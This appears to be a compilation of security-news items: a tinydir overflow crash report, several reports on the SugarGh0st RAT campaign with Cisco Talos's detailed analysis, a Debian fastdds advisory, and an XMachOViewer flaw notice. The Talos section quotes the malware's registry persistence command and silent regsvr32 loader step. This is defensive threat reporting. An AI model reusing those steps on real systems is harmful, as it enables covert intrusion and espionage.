    =>0x100023d8d7d0: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00
      0x100023d8d7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100023d8d7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100023d8d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100023d8d810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100023d8d820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==2533==ABORTING
    

The other two vulnerabilities are Windows-specific. It should be possible to replicate them by crafting long paths in a similar way.

**Impact**

If the input above crosses a security boundary, the impact of the buffer overflow vulnerabilities could range from denial of service to arbitrary code execution.

CVE-2023-49287: Buffer overflow vulnerabilities in tinydir

A suspected Chinese-speaking threat actor has been attributed to a malicious campaign that targets the Uzbekistan Ministry of Foreign Affairs and South Korean users with a remote access trojan called SugarGh0st RAT.
The activity, which commenced no later than August 2023, leverages two different infection sequences to deliver the malware, which is a customized variant of Gh0st RAT

Malware / Cyber Espionage

A suspected Chinese-speaking threat actor has been attributed to a malicious campaign that targets the Uzbekistan Ministry of Foreign Affairs and South Korean users with a remote access trojan called **SugarGh0st RAT**.

The activity, which commenced no later than August 2023, leverages two different infection sequences to deliver the malware, which is a customized variant of Gh0st RAT (aka Farfli).

It comes with features to "facilitate the remote administration tasks as directed by the C2 and modified communication protocol based on the similarity of the command structure and the strings used in the code," Cisco Talos researchers Ashley Shen and Chetan Raghuprasad said.

The attacks commence with a phishing email bearing decoy documents, opening which activates a multi-stage process that leads to the deployment of SugarGh0st RAT.

The decoy documents are incorporated within a heavily obfuscated JavaScript dropper that's contained within a Windows Shortcut file embedded in the RAR archive email attachment.

"The JavaScript decodes and drops the embedded files into the %TEMP% folder, including a batch script, a customized DLL loader, an encrypted SugarGh0st payload, and a decoy document," the researchers said.

The decoy document is then displayed to the victim, while, in the background, the batch script runs the DLL loader, which, in turn, side-loads it with a copied version of a legitimate Windows executable called rundll32.exe to decrypt and launch the SugarGh0st payload.

A second variant of the attack also begins with a RAR archive containing a malicious Windows Shortcut file that masquerades as a lure, with the difference being that the JavaScript leverages DynamicWrapperX to run shellcode that launches SugarGh0st.

SugarGh0st, a 32-bit dynamic-link library (DLL) written in C++, establishes contact with a hard-coded command-and-control (C2) domain, allowing it to transmit system metadata to the server, launch a reverse shell, and run arbitrary commands.

It can also enumerate and terminate processes, take screenshots, perform file operations, and even clear the machine's event logs in an attempt to cover its tracks and evade detection.

The campaign's links to China stem from Gh0st RAT's Chinese origins and the fact that the fully functional backdoor has been widely adopted by Chinese threat actors over the years, in part driven by the release of its source code in 2008. Another smoking gun evidence is the use of Chinese names in the "last modified by" field in the metadata of the decoy files.

"The Gh0st RAT malware is a mainstay in the Chinese threat actors' arsenal and has been active since at least 2008," the researchers said.

"Chinese actors also have a history of targeting Uzbekistan. The targeting of the Uzbekistan Ministry of Foreign Affairs also aligns with the scope of Chinese intelligence activity abroad."

The development comes as Chinese state-sponsored groups have also increasingly targeted Taiwan in the last six months, with the attackers repurposing residential routers to mask their intrusions, according to Google.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Chinese Hackers Using SugarGh0st RAT to Target South Korea and Uzbekistan

A decade and a half after Gh0st RAT first appeared, the "SugarGh0st RAT" variant aims to make life sweeter for cybercriminals.

Source: Niday Picture Library via Alamy Stock Photo

A new variant of the infamous "Gh0st RAT" malware has been identified in recent attacks targeting South Koreans and the Ministry of Foreign Affairs in Uzbekistan.

The Chinese group "C.Rufus Security Team" first released Gh0st RAT on the open Web in March 2008. Remarkably, it's still in use today, particularly in and around China, albeit in modified forms.

Since late August, for instance, a group with strong Chinese links has been distributing a modified Gh0st RAT deemed "SugarGh0st RAT." According to research from Cisco Talos, this threat actor drops the variant via JavaScript-laced Windows shortcuts, while distracting targets with customized decoy documents.

The malware itself is still largely the same, effective tool it's ever been, though it now sports some new decals to help sneak past antivirus software.

**SugarGh0st RAT's Traps**

The four samples of SugarGh0st, likely delivered via phishing, arrive on targeted machines as archives embedded with Windows LNK shortcut files. The LNKs hide malicious JavaScript which, upon opening, drops a decoy document — targeted for Korean or Uzbek government audiences — and the payload.

Like its progenitor — the Chinese origin remote access Trojan, first released to the public in March 2008 — SugarGh0st is a clean, multitooled espionage machine. A 32-bit dynamic link library (DLL) written in C++, it begins by collecting system data, then opens up the door to full remote access capabilities.

Attackers can use SugarGh0st to retrieve any information they might desire about their compromised machine, or start, terminate, or delete the processes it's running. They can use it to find, exfiltrate, and delete files, and erase any event logs to mask the resulting forensic evidence. The backdoor comes fitted with a keylogger, a screenshotter, a means of accessing the device's camera, and plenty of other useful functions for manipulating the mouse, performing native Windows operation, or simply running arbitrary commands.

"The thing that's most concerning to me is how it's specifically designed to evade previous detection methods," says Nick Biasini, Cisco Talos' head of outreach. With this new variant, specifically, "they took effort to do things that would change the way that core detection would work."

It isn't that SugarGh0st has any particularly novel evasion mechanisms. Rather, minor aesthetic changes make it appear different from prior variants, such as changing the command-and-control (C2) communication protocol such that instead of 5 bytes, the network packet headers reserve the first 8 bytes as magic bytes (a list of file signatures, used to confirm a file's contents). "It's just a very effective way to try and make sure that your existing security tooling isn't going to pick up on this right away," Biasini says.

**Gh0st RAT's Old Haunts**

Back in September 2008, the office of the Dalai Lama approached a security researcher (no, this isn't the beginning of a bad joke).

Its employees were being peppered with phishing emails. Microsoft applications were crashing, without explanation, across the organization. One monk recalled watching his computer open Microsoft Outlook all on its own, attach documents to an email, and send that email to an unrecognized address, all without his input.

A Gh0st RAT beta model's English-language UI. Source: Trend Micro EU via Wayback Machine

The Trojan used in that Chinese military-linked campaign against Tibetan monks has stood the test of time, Biasini says, for a few reasons.

"Open source malware families live long because actors get a fully functional piece of malware that they can manipulate as they see fit. It also allows people who don't know how to write malware to leverage this stuff for free," he explains.

Gh0st RAT, he adds, stands out in particular as "a very functional, very well-built RAT."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

A New, Spookier Gh0st RAT Malware Haunts Global Cyber Targets

Cisco Talos recently discovered a malicious campaign that likely started as early as August 2023, delivering a new remote access trojan (RAT) we dubbed “SugarGh0st.”

*   Cisco Talos recently discovered a malicious campaign that likely started as early as August 2023, delivering a new remote access trojan (RAT) we dubbed “SugarGh0st.” 
*   We found evidence suggesting the threat actor is targeting the Uzbekistan Ministry of Foreign Affairs and users in South Korea. 
*   We assess with high confidence that the SugarGh0st RAT is a new customized variant of Gh0st RAT, an infamous trojan that’s been active for more than a decade, with customized commands to facilitate the remote administration tasks as directed by the C2 and modified communication protocol based on the similarity of the command structure and the strings used in the code.
*   We observed two infection chains leveraging Windows Shortcut embedded with malicious JavaScript to deliver the components to drop and launch the SugarGh0st payload.
*   In one infection chain, the actor leverages the DynamixWrapperX tool to enable Windows API function calls in malicious JavaScript for running the shellcode.
*   Talos assesses with low confidence that a Chinese-speaking threat actor is operating this campaign based on the artifacts we found in the attack samples.

**Suspected Chinese Actor targeting Uzbekistan and South Korea**

Talos discovered four samples deployed in this campaign that are likely targeting users in Uzbekistan and South Korea based on the language of the decoy documents, the lure content, and distribution indicators Talos found in the wild. 

One of the samples is sent to users in the Ministry of Foreign Affairs of Uzbekistan. The sample is an archive embedded with a Windows ShortCut LNK file which, upon opening, drops the decoy document “Investment project details.docx'' with Uzbek content about a presidential decree in Uzbekistan focused on enhancing state administration in technical regulation. The lure content of the decoy document was published in multiple Uzbekistan sources in 2021. The initial vector of the campaign is likely a phishing email with an attached malicious RAR archive file sent to an employee of the Ministry of Foreign Affairs.  

Decoy document in Uzbek language.

Besides Uzbekistan, we also observed indications of targets in South Korea. We found three other decoy documents written in Korean dropped by the malicious JavaScript file embedded in the Windows Shortcut, seemingly distributed in South Korea. The decoy document named “Account.pdf” was forged as a Microsoft account security notification for confirming an account registration with a generated password. Another decoy named “MakerDAO MKR approaches highest since August.docx'' uses the copied content from 코인데스크코리아 (CoinDesk Korea, a Korean news outlet that covers the blockchain). The third decoy document, named “Equipment\_Repair\_Guide.docx,” has the lure information with instructions for computer maintenance in an organization. To reinforce our assessment of South Korean targets, we also observed C2 domain requests from IPs originating from South Korea. 

The decoy documents found in the samples collected by Talos.

During our analysis, we observed a couple of artifacts that suggested the actor might be Chinese-speaking. Two of the decoy files we found have the “last modified by” names shown as “浅唱丶低吟” (Sing lightly, croon) and “琴玖辞” (seems to be the name of a Chinese novel author), which are both Simplified Chinese. 

The author and last editor’s information on decoy documents.

Besides the decoy document metadata, the actor prefers using SugarGh0st, a Gh0st RAT variant. The Gh0st RAT malware is a mainstay in the Chinese threat actors’ arsenal and has been active since at least 2008. Chinese actors also have a history of targeting Uzbekistan. The targeting of the Uzbekistan Ministry of Foreign Affairs also aligns with the scope of Chinese intelligence activity abroad. 

**SugarGh0st is a new Gh0st RAT variant**

Talos discovered a RAT that we call SugarGh0st delivered as a payload in this campaign. Talos assesses with high confidence that SugarGh0st is a customized variant of the Gh0st RAT. Gh0st RAT was developed by a Chinese group called 红狼小组 (C.Rufus Security Team), and its source code was publicly released in 2008. The public release of the source code has made it easy for threat actors to get access to it and tailor it to fulfill their malicious intentions. There are several variants of Gh0st RAT in the threat landscape, and it remains a preferred tool for many Chinese-speaking actors, allowing them to conduct surveillance and espionage attacks.

Compared with the original Gh0st malware, SugarGh0st is equipped with some customized features in its reconnaissance capability in looking for specific Open Database Connectivity (ODBC) registry keys, loading library files with specific file extensions and function name, customized commands to facilitate the remote administration tasks directed by the C2, and to evade earlier detections. The C2 communication protocol is also modified. The first eight bytes of the network packet header are reserved as magic bytes versus the first five in the earlier Gh0st RAT variants. The remaining features, including taking full remote control of the infected machine, providing real-time and offline keylogging, hooks to the webcam of an infected machine, and downloading and running other arbitrary binaries on the infected host are aligned with the features of earlier Gh0st RAT variants. 

**A multi-stage infection chain **

Talos discovered two different infection chains employed by the threat actor to target the victims in this campaign. One of the infection chains decrypts and executes the SugarGh0st RAT payload, the customized variant of the Gh0st RAT. Another infection chain leverages the DynamicWrapperX loader to inject and run the shellcode that decrypts and executes SugarGh0st. 

**Infection Chain No. 1**

The first infection chain starts with a malicious RAR file containing a Windows Shortcut file with a double extension. When a victim opens the shortcut file, it runs a command to drop and execute an embedded JavaScript file. The JavaScript eventually drops a decoy, an encrypted SugarGh0st payload, DLL loader and batch script. Then, the JavaScript executes the batch script to run the dropped DLL loader by sideloading it with a copied rundll32. The DLL loader will decrypt the encrypted SugarGh0st payload in memory and run it reflectively. 

**Shortcut file embedded with malicious JavaScript dropper**

The Windows shortcut file discovered in this attack is embedded with JavaScript and has command line arguments to drop and execute it. Upon the victim opening the LNK file, the command line argument of the LNK file runs to locate and load the JavaScript with the string start of “var onm=” which is the beginning of the JavaScript dropper and drops the JavaScript into the %temp% location. After that, the dropped JavaScript is executed using the living-off-the-land binary (LoLBin) cscript. 

Sample of malicious LNK file.

**JavaScript dropper **

The JavaScript dropper is a heavily obfuscated script embedded with base64 encoded data of the other components of the attack. The JavaScript decodes and drops the embedded files into the %TEMP% folder, including a batch script, a customized DLL loader, an encrypted SugarGh0st payload, and a decoy document. It first opens the decoy document to masquerade as legitimate action, then copies the legitimate rundll32 executable from the “Windows\\SysWow64” folder into the %TEMP% folder. Finally, it executes the batch script loader from the %TEMP% location and runs the customized DLL loader. The JavaScript deleted itself from the file system afterward. 

The JavaScript dropper.

**Batch script loader**

The batch script, in this instance, is named “ctfmon.bat” and has the commands to run the dropped customized DLL loader. When executed, it sideloads the DLL loader with rundll32.exe and executes the function which is DllUnregisterServer, typically used by COM (Component Object Model) DLLs.

The batch script loader.

**DLL Loader decrypts and reflectively loads the SugarGh0st payload**

The customized DLL loader named “MSADOCG.DLL” (name of the DLL associated with Microsoft's ActiveX Data Objects (ADO) technology) is a 32-bit DLL written in C++ and implemented as a COM object component. The loader includes packed code that is unpacked with custom unpacking code. When the DLL is run, it unpacks the code to read the dropped encrypted SugarGh0st payload file named “DPLAY.LIB '' from the %TEMP% location, decrypts it and runs it in the memory. 

Stub code to unpack code.

Function to load the encrypted payload.

**Infection chain No. 2**

Similar to the first infection chain, this attack also starts with a RAR archive file containing a malicious Windows Shortcut file forged as the decoy document. The Windows shortcut file, by executing the embedded commands, drops the JavaScript dropper file into the %TEMP% location and executes it with cscript. The JavaScript in this attack drops a decoy document, a legitimate DynamicWrapperX DLL, and the encrypted SugarGh0st. The JavaScript uses the legitimate DLL to enable running the embedded shellcode for running the SugarGh0st payload. 

**JavaScript leverages DynamicWrapperX to run shellcode that launches SugarGh0st**

The JavaScript used in this infection chain is also heavily obfuscated and is embedded with base64-encoded data of other components of the attack, including a shellcode. When the JavaScript is executed, it drops an encrypted SugarGh0st, a DLL called “libeay32.dll” and the decoy document. The JavaScript opens the decoy document and copies Wscript.exe to the %TEMP% folder as dllhost.exe. It runs the dropped JavaScript again using the dllhost.exe and creates a registry subkey called “CTFMON.exe” in the Run registry key to establish persistence. 

Registry Key

HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

Subkey

CTFMON.exe

Value

“cmd /c start C:\\Users\\user\\AppData\\Local\\Temp\\dllhost.exe C:\\Users\\user\\AppData\\Local\\Temp\\~204158968.js”

The file “libeay32.dll” is a tool called DynamicWrapperX (originally named “dynwrapx.dll”) developed by Yuri Popov. This tool is an ActiveX component that enables Windows API function calls in scripts (JScript, VBScript, etc.). The attacker can use this to run shellcode via the JavaScript dropper. But, they must first run regsvr.exe to install the component. 

C:\\Windows\\system32\\regsvr32 /i /s C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\libeay32.dll

The DynamicWrapperX DLL registers its member functions in the victim’s machine by creating a registry subkey CLSID with the value “89565275-A714-4a43-912E-978B935EDCCC” in Software\\Classes\\DynamicWrapperX registry key. The JavaScript containing the ActiveX components executes the embedded shellcode using the DynamixWrapperX DLL. 

The shellcode has the API hashes and instructions to load and map to the functions necessary for process injection from Kernel32.dll. It also loads two other DLLs, User32.dll and shlwapi.dll. Then, it loads the encrypted SugarGh0st “libeay32.lib” from the %TEMP% location, decrypts it, and reflectively loads it into the memory space allocated in the dllhost.exe process. 

Shellcode that loads and decrypts the encrypted SugarGh0st. 

**Analysis of SugarGh0st   **

The SugarGh0st sample analyzed by Cisco Talos is a 32-bit dynamic link library in C++ compiled on Aug. 23, 2023. During its initial execution, SugarGh0st creates a mutex on the victim’s machine using the hard-coded C2 domain as an infection marker and starts the keylogging function. The keylogger module creates a folder “WinRAR'' in the location %Program Files% and writes the keylogger file “WinLog.txt.” 

The Keylogging function of SugarGh0st.

SugarGh0st uses “WSAStartup” functions, a hardcoded C2 domain and port to establish the connection to the C2 server. Talos discovered two C2 domains, login\[.\]drive-google-com\[.\]tk and account\[.\]drive-google-com\[.\]tk, used by the threat actor in this campaign.

The C2 communication function of SugarGh0st.

After launching, SugarGh0st attempts to establish the connection to C2 every 10 seconds. If successful, the first outgoing packet always consists of the same eight bytes “0x000011A40100” as a heartbeat. After the heartbeat is successfully sent, SugarGh0st sends the buffer data, which includes the following:

*   Computer name
*   Operating system version 
*   Root and other drive information of victim machine
*   Registry key “HKEY\_LOCAL\_MACHINE\\Software\\ODBC\\H” if exist
*   Campaign codes 1 (Month and Year) and code 2 (in our samples are “default”)
*   Windows version number
*   Root drive’s volume serial number

A sample packet that was sent by SugarGh0st to C2.

SugarGh0st is a fully functional backdoor that can execute most remote control functionalities. It can launch the reverse shell and run the arbitrary commands sent from C2 as strings using the command shell.

The Reverse shell function.

SugarGh0st can collect the victim’s machine hostname, filesystem, logical drive and operating system information. It can access the running process information of the victim’s machine and control the environment by accessing the process information and terminating the process as directed by the C2 server. 

It can also manage the machine’s service manager by accessing the configuration files of the running services and can start, terminate or delete the services.

Function to operate services.

SugarGh0st can take screenshots of the victim machine’s current desktop and switch to multiple windows. It can access the victim’s machine camera to capture the screen and compress the captured data before sending it to the C2 server. SugarGh0st can perform various file operations, including searching, copying, moving and deleting the files on the victim’s machine.

It also clears the machine’s Application, Security and System event logs to hide the malicious operations logged to evade detection. 

Function to clean event logs.

SugarGh0st performs the remote control functionalities, including those discussed earlier, as directed by the C2 server with the four-byte hex commands and accompanying data. 

**Command**

**Action**

0x20000001

Adjust process privilege to “SeShutdownPrivilege” and force shut down the host.

0x20000002

Adjust process privilege to “SeShutdownPrivilege” and force reboot the host.

0x20000003

Adjust process privilege to “SeShutdownPrivilege” and force terminate the processes.

0x20000004

Clear event log

0x20000005

Create register key HKEY\_LOCAL\_MACHINE\\Software\\ODBC\\H

0x20000011

Press a key in the default window 

0x20000012

Release a key in the default window 

0x20000013

Set mouse cursor position

0x20000014

Click mouse left button

0x20000015

Release mouse left button

0x20000016

Double click the mouse left button

0x20000017

Click mouse right button

0x20000018

Release mouse right button

0x20000019

Double click the mouse left button

0x21000002

Get the logical drive information of the victim's machine. 

  

0x21000003

Search files on the victims machine filesystem

0x21000004

Delete files on the victim's machine file system

0x21000005

Moves files to the %TEMP% location 

0x21000006

Runs arbitrary shell commands

0x21000007

Copies files on the victim machine 

0x21000008

Move files on the victim's machine

0x21000009

Sends files to the C2 server 

0x2100000A

Sends the data to the windows socket

0x2100000B

Receives files from the C2 server

0x22000001

Sends the screenshot to the C2 server

0x24000001

Read file %ProgramFiles%/WinRAR/~temp.dat (which is encoded with XOR 0x62)

0x24000002

Delete file %ProgramFiles%/WinRAR/~temp.dat

0x23000000

Provides the reverse shell access to the C2 server 

0x25000000

Gets the process information and terminates the process 

0x25000001

Enumerate process information

0x25000002

Terminate Process

0x25000003

Access the victims machine service manager 

0x25000004

Access the configuration files of the running services

0x25000005

Starting service

0x25000006

Terminating and deleting the services. 

0x25000010

Performs the Windows operations

0x25000011

Get window list

0x25000012

Get message from Window

0x28000000

Capture window and perform a series of Window operations based on the command with SendMessage API.

0x28000002

Find a . OLE file under “%PROGRAMFILES%\\\\Common Files\\\\DESIGNER'' and launch

**Coverage**

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat is 62647.

ClamAV detections available for this threat:

Win.Trojan.SugarGh0stRAT-10014937-0

Win.Tool.DynamicWrapperX-10014938-0

Txt.Loader.SugarGh0st\_Bat-10014939-0

Win.Trojan.SugarGh0stRAT-10014940-0

Lnk.Dropper.SugarGh0stRAT-10014941-0

Js.Trojan.SugarGh0stRAT-10014942-1

Win.Loader.Ramnit-10014943-1

Win.Backdoor.SugarGh0stRAT-10014944-0

**Orbital Queries**

Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries related to this threat, please follow the links:

*   SugarGh0st RAT file detected
*   SugarGh0st RAT Registry key 

**Indicators of Compromise**

Indicators of Compromise associated with this threat can be found here.

New SugarGh0st RAT targets Uzbekistan government and South Korea

Debian Linux Security Advisory 5568-1 - It was discovered that incorrect memory management in Fast DDS, a C++ implementation of the DDS (Data Distribution Service) might result in denial of service.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5568-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
November 27, 2023                     https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : fastdds  
CVE ID         : CVE-2023-42459  
Debian Bug     : 1054163

It was discovered that incorrect memory management in Fast DDS, a C++  
implementation of the DDS (Data Distribution Service) might result in  
denial of service.

The oldstable distribution (bullseye) is not affected.

For the stable distribution (bookworm), this problem has been fixed in  
version 2.9.1+ds-1+deb12u2.

We recommend that you upgrade your fastdds packages.

For the detailed security status of fastdds please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/fastdds

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmVk6wsACgkQEMKTtsN8  
Tja2FRAAqpa1Zek52KcYiyQSucpEe6ZLajVfzKeGKvieFrfcf491GDYno3sQhF5w  
2uWRyZ3I1OjJk9uuFWj4ql2IwNs3nudefqR8OCEQk4oSZfnWBX4UWTMiuCncE1+g  
YobKkoWlGDGjpS36lT/GX+L9nfq46ERgZYPqQJjLb6xU+vJzGMo29LVGVDliF4VX  
5n7DZlVbnAWb+swXPp0sIIV/F5EPpdgbygisPSAVynCxF4eFqxQfiCOpkXkBdzKF  
27RSsJQJggfDaXiz11t8zkhWWJQU3pDyrRn79NfkyXc0IPNH4q2C0+vQZ4bHQLFD  
8NuoQqZ5Olqx9Z742z8+jXWpphP7nvEcEhItNFnZNE3EBqJ8T8Aum1NWC4vRSQIR  
8G/Ii9pd8dU7yTBGNbTSqyM8yTzMu4oEuvT309YVC4q3E2P51ZwUpgr7edPZRsXy  
+T8DgzVGgyB+iSVhxmmlUK0encc9O3JfVb0a8mCfM2DUSICJCTkXPYpZB5N4En57  
g8P/AF2u74Rq/y/SFwoJAZyE789wXDQOLTZJSQBmFbCSL+mLNe/8W8ZAl75TS2fE  
2YulahAVceLuy64TLXnOGNHmUiWFeoSY7Ad/NSQyjpCssPP7VcC5sJC94YgEsFey  
2/0mf72nviY4cT5K7D8f2cVnTR74Tc4ICVxbe2SMect/x8IRP/E=  
=eh2N  
-----END PGP SIGNATURE-----

Debian Security Advisory 5568-1

A dylib injection vulnerability in XMachOViewer 0.04 allows attackers to compromise integrity. By exploiting this, unauthorized code can be injected into the product's processes, potentially leading to remote control and unauthorized access to sensitive user data.

Skip to content

Sign up

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    
    Explore
    
    *   All features
    *   Documentation
    *   GitHub Skills
    *   Blog
    
*   For
    
    *   Enterprise
    *   Teams
    *   Startups
    *   Education
    
    By Solution
    
    *   CI/CD & Automation
    *   DevOps
    *   DevSecOps
    
    Resources
    
    *   Learning Pathways
    *   White papers, Ebooks, Webinars
    *   Customer Stories
    *   Partners
    
*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
    Repositories
    
    *   Topics
    *   Trending
    *   Collections
    
*   Pricing

**Search code, repositories, users, issues, pull requests...**

**Provide feedback**

We read every piece of feedback, and take your input very seriously.

Include my email address so I can be contacted

**Saved searches****Use saved searches to filter your results more quickly**

Sign in

Sign up

horsicq / **XMachOViewer** Public

*   Notifications
*   Fork 50
*   Star 635
    

XMachOViewer is a Mach-O viewer for Windows, Linux and MacOS

ntinfo.biz

**License**

MIT license

635 stars 50 forks Activity

Star

Notifications

*   Code
*   Issues 2
*   Pull requests
*   Discussions
*   Actions
*   Projects
*   Security
*   Insights

Additional navigation options

master

Switch branches/tags

**Name already in use**

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

**1** branch **5** tags

Code

*   Clone
    
    Use Git or checkout with SVN using the web URL.
    
*   Open with GitHub Desktop
*   Download ZIP

**Latest commit**

**Git stats**

*   **12,688** commits

**Files**

Permalink

Failed to load latest commit information.

Type

Name

Latest commit message

Commit time

.github

Create docker-image.yml

May 24, 2021 11:42

Controls @ bde01e3

Update module: Controls 2023-11-28

November 28, 2023 00:21

Detect-It-Easy @ 361698e

Update module: Detect-It-Easy 2023-11-28

November 28, 2023 00:23

FormatDialogs @ de15ef2

Update module: FormatDialogs 2023-11-27

November 27, 2023 01:47

FormatWidgets @ e36380f

Update module: FormatWidgets 2023-11-28

November 28, 2023 00:22

Formats @ c3ce687

Update module: Formats 2023-11-28

November 28, 2023 00:22

LINUX

Fix: 2022-08-08

August 8, 2022 18:47

SpecAbstract @ 9282c42

Fix: 2023-10-04

October 4, 2023 19:31

StaticScan @ 723090f

Fix: 2023-05-23

May 23, 2023 20:34

XAboutWidget @ 8cc8adb

Fix: 2023-09-05

September 5, 2023 00:12

XArchive @ 6d85719

Update module: XArchive 2023-11-12

November 12, 2023 16:19

XCapstone @ 8c16344

Update module: XCapstone 2023-11-28

November 28, 2023 00:22

XCppfilt @ d9c2be9

Update module: XCppfilt 2023-10-18

October 18, 2023 18:34

XDEX @ 71db4b8

Fix: 2023-07-31

July 31, 2023 19:05

XDataConvertorWidget @ a776bd1

Update module: XDataConvertorWidget 2023-11-28

November 28, 2023 03:49

XDecompiler @ 3391a28

Fix: 2023-08-21

August 21, 2023 18:48

XDemangle @ c8c3172

Update module: XDemangle 2023-11-24

November 24, 2023 00:25

XDemangleWidget @ af0d823

Fix: 2023-09-29

September 29, 2023 17:36

XDisasm @ 7767f42

Fix: 2023-04-10

April 10, 2023 01:26

XDisasmView @ b81ac59

Update module: XDisasmView 2023-11-28

November 28, 2023 00:22

XDynStructs @ d67af94

Fix: 2023-03-11

March 11, 2023 22:35

XDynStructsEngine @ f90de40

Fix: 2023-03-13

March 13, 2023 05:40

XDynStructsWidget @ 2243d2a

Fix: 2023-09-11

September 11, 2023 00:08

XEntropyWidget @ 57dc917

Fix: 2023-09-25

September 25, 2023 19:09

XExtractor @ 040530e

Fix: 2023-08-04

August 4, 2023 00:19

XExtractorWidget @ 989bda3

Fix: 2023-09-25

September 25, 2023 18:34

XFileInfo @ e1535c6

Fix: 2023-09-25

September 25, 2023 18:47

XGithub @ e66b9dc

Fix: 2023-03-15

March 15, 2023 06:09

XHashWidget @ 86c77b4

Fix: 2023-09-25

September 25, 2023 19:12

XHexEdit @ 04d9067

Fix: 2023-07-27

July 27, 2023 00:30

XHexView @ 9a4b88a

Update module: XHexView 2023-11-28

November 28, 2023 00:22

XInfoDB @ df88dd6

Update module: XInfoDB 2023-11-28

November 28, 2023 00:22

XLLVMDemangler @ 9f9ca2e

Fix: 2023-03-11

March 11, 2023 23:13

XMemoryMapWidget @ ce52b89

Update module: XMemoryMapWidget 2023-11-10

November 10, 2023 00:21

XOnlineTools @ 834247c

Fix: 2023-09-25

September 25, 2023 18:44

XOptions @ 4a25fe9

Update module: XOptions 2023-11-28

November 28, 2023 00:22

XPDF @ 74f8435

Fix: 2023-08-11

August 11, 2023 00:39

XQwt @ 0a1a424

Fix: 2023-07-08

July 8, 2023 00:45

XShortcuts @ 5dc4922

Update module: XShortcuts 2023-11-25

November 25, 2023 12:11

XStyles @ 62e634b

Fix: 2023-10-02

October 2, 2023 16:22

XSymbolsWidget @ d8fe2aa

Fix: 2023-09-05

September 5, 2023 00:15

XTranslation @ a16af1d

Update module: XTranslation 2023-11-20

November 20, 2023 00:21

XUpdate @ 5c69107

Fix: 2023-04-10

April 10, 2023 21:46

XVisualizationWidget @ 1d78c38

Fix: 2023-09-25

September 25, 2023 18:38

XYara @ cb9b124

Update module: XYara 2023-10-23

October 23, 2023 18:32

archive\_widget @ 289ba6b

Fix: 2023-09-07

September 7, 2023 14:32

build\_libs

Fix: 2023-05-22

May 22, 2023 18:12

build\_tools @ 14c6d42

Update module: build\_tools 2023-11-02

November 2, 2023 18:29

die\_script @ 490a8cb

Update module: die\_script 2023-11-26

November 26, 2023 00:22

die\_widget @ 2cc7014

Update module: die\_widget 2023-11-23

November 23, 2023 08:52

docs

Format RUN.md

October 13, 2023 02:57

gui\_source

Fix: 2023-09-05

September 5, 2023 00:09

hex\_templates @ dff5b39

Fix: 2023-03-11

March 11, 2023 23:02

icons

Fix: 2022-08-08

August 8, 2022 18:47

images/thanks

Fix: 2023-09-08

September 8, 2023 00:50

mascots

Fix: 2021-05-05

May 5, 2021 18:10

nfd\_widget @ 0258f38

Update module: nfd\_widget 2023-10-17

October 17, 2023 18:52

signatures @ b8f9793

Fix: 2023-03-11

